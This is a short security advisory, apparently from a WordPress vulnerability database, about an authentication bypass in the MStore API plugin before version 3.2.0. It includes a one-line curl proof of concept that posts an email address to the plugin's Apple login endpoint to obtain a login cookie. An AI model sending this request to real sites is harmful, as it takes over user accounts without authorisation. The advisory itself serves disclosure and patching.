MStore API < 3.2.0 - Authentication Bypass With Sign In With Apple
Description
The plugin had an authentication bypass with Sign In With Apple allowing unauthenticated users to recover an authentication cookie with only an email address.
Proof of Concept
The plugin must have a valid purchase code for the request to work
curl -X GET --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "email": "[email protected]" }' https://example.com/wp-json/api/flutter_user/apple_login Affects Plugins
Fixed in version 3.2.0✓
Classification
Miscellaneous
Original Researcher
Vincent Datrier
Submitter
Vincent Datrier
Verified
Yes
Timeline
Publicly Published
2021-02-02 (about 5 months ago)
Added
2021-02-02 (about 5 months ago)
Last Updated
2021-02-18 (about 5 months ago)